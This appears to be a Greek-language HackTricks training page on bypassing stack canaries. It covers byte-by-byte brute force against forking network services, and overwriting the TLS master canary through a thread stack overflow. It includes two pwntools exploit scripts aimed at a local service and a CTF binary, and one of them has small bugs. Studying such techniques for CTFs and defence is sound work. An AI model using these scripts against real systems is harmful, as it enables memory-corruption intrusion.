120 lines
7.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# BF Forked & Threaded Stack Canaries
{{#include ../../../banners/hacktricks-training.md}}
**Αν αντιμετωπίζετε ένα δυαδικό αρχείο που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.**
![](<../../../images/image (865).png>)
> [!TIP]
> Σημειώστε ότι **`checksec`** μπορεί να μην αναγνωρίσει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει μεταγλωττιστεί στατικά και δεν είναι ικανό να αναγνωρίσει τη λειτουργία.\
> Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν βρείτε ότι μια τιμή αποθηκεύεται στο στοίβα στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο.
## Brute force Canary
Ο καλύτερος τρόπος για να παρακάμψετε ένα απλό canary είναι αν το δυαδικό αρχείο είναι ένα πρόγραμμα **που δημιουργεί παιδικές διεργασίες κάθε φορά που δημιουργείτε μια νέα σύνδεση** με αυτό (υπηρεσία δικτύου), γιατί κάθε φορά που συνδέεστε σε αυτό **θα χρησιμοποιείται το ίδιο canary**.
Έτσι, ο καλύτερος τρόπος για να παρακάμψετε το canary είναι απλά να **το παρακάμψετε με brute-force χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε αν το μαντεμένο byte του canary ήταν σωστό ελέγχοντας αν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει τη κανονική του ροή. Σε αυτό το παράδειγμα η λειτουργία **παρακάμπτει ένα canary 8 Bytes (x64)** και διακρίνει μεταξύ ενός σωστά μαντεμένου byte και ενός κακού byte απλά **ελέγχοντας** αν μια **απάντηση** επιστρέφεται από τον διακομιστή (ένας άλλος τρόπος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**):
### Example 1
Αυτό το παράδειγμα έχει υλοποιηθεί για 64 bits αλλά θα μπορούσε να υλοποιηθεί εύκολα και για 32 bits.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Παράδειγμα 2
This is implemented for 32 bits, but this could be easily changed to 64bits.\
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Threads
Οι νήματα της ίδιας διαδικασίας θα **μοιράζονται το ίδιο canary token**, επομένως θα είναι δυνατό να **brute-forc**e ένα canary αν το δυαδικό δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση.
Επιπλέον, μια **υπερχείλιση buffer σε μια θηλυκή συνάρτηση** που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για να **τροποποιήσει το κύριο canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσουμε στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το canary) μέσω μιας **bof στο stack** ενός νήματος.\
Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).\
Αυτή η επίθεση εκτελείται στην αναφορά: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Δείτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται ένα **stack** ενός **νήματος** δημιουργείται επίσης από `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά.
## Other examples & references
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
{{#include ../../../banners/hacktricks-training.md}}